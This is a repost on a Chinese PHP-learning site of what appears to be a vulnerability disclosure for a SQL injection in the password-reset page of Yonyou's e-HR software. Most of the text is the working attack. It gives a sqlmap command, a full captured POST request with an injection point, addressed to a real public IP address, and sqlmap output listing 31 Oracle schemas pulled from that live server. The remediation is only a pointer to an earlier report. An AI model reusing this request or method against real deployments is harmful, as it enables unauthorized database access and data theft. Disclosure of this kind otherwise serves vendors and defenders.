网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

用友人力资源管理软件(e-HR)另一处SQL注入漏洞

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 上一个注入由于不清楚到底是啥版本,只能让厂商自己去查了,赶脚挺愧疚的。这次终于不用纠结版本问题了,因为通杀。。。详细说明:1 漏洞出在[重置密码]功能这,密码找回输入用...

上一个注入由于不清楚到底是啥版本,只能让厂商自己去查了,赶脚挺愧疚的。
这次终于不用纠结版本问题了,因为通杀。。。

1.漏洞出在[重置密码]功能这,密码找回输入用户处由于未进行过滤导致SQL注入漏洞。

 
2.漏洞文件http://x.x.x.x/hrss/rm/ResetPwd.jsp?   

 

xyk.png

 










 

3. 抓包丢SQLMAP里跑数据库名:
./sqlmap.py -r xx.txt
<code>
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 59.173.0.46:8090
Proxy-Connection: keep-alive
Content-Length: 582
Pragma: no-cache
Origin: http://59.173.0.46:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://59.173.0.46:8090/hrss/rm/ResetPwd.jsp?
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=0000DnaJYJnM5KUn8YfKWXZjmgv:16sau0unt

__type=updateData&__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<rpc transaction="10" method="resetPwd"><def><dataset type="Custom" id="dsResetPwd"><f name="user"></f></dataset></def><data><rs dataset="dsResetPwd"><r id="10008" state="insert"><n><v>aaaa*</v></n></r></rs></data><vps><p name="__profileKeys">findPwd;9589d8b622333776899b3ff0567f4603</p></vps></rpc>&1404976068948


结果如下:

[15:27:19] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[15:27:19] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[15:27:19] [INFO] fetching database (schema) names
[15:27:20] [INFO] the SQL query used returns 31 entries
[15:27:21] [INFO] retrieved: APEX_030200
[15:27:21] [INFO] retrieved: APPQOSSYS
[15:27:22] [INFO] retrieved: CTXSYS
[15:27:23] [INFO] retrieved: DBSNMP
[15:27:24] [INFO] retrieved: EFDC
[15:27:25] [INFO] retrieved: EXFSYS
[15:27:26] [INFO] retrieved: FLOWS_FILES
[15:27:27] [INFO] retrieved: IUFO
[15:27:28] [INFO] retrieved: IUFO57
[15:27:29] [INFO] retrieved: JQ
[15:27:30] [INFO] retrieved: MCCPT
[15:27:31] [INFO] retrieved: MCCWK
[15:27:32] [INFO] retrieved: MDSYS
[15:27:33] [INFO] retrieved: NC57
[15:27:34] [INFO] retrieved: NC57ZYWK
[15:27:35] [INFO] retrieved: NCPORTAL
[15:27:36] [INFO] retrieved: OLAPSYS
[15:27:37] [INFO] retrieved: ORDDATA
[15:27:38] [INFO] retrieved: ORDSYS
[15:27:39] [INFO] retrieved: OUTLN
[15:27:40] [INFO] retrieved: OWBSYS
[15:27:41] [INFO] retrieved: RMAN
[15:27:42] [INFO] retrieved: SCOTT
[15:27:42] [INFO] retrieved: SYS
[15:27:43] [INFO] retrieved: SYSMAN
[15:27:46] [INFO] retrieved: SYSTEM
[15:27:47] [INFO] retrieved: V3XUSER
[15:27:47] [INFO] retrieved: WMSYS
[15:27:48] [INFO] retrieved: WX
[15:27:49] [INFO] retrieved: XDB
[15:27:50] [INFO] retrieved: ZYTJWK

 

修复方案:

参见上一个漏洞

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论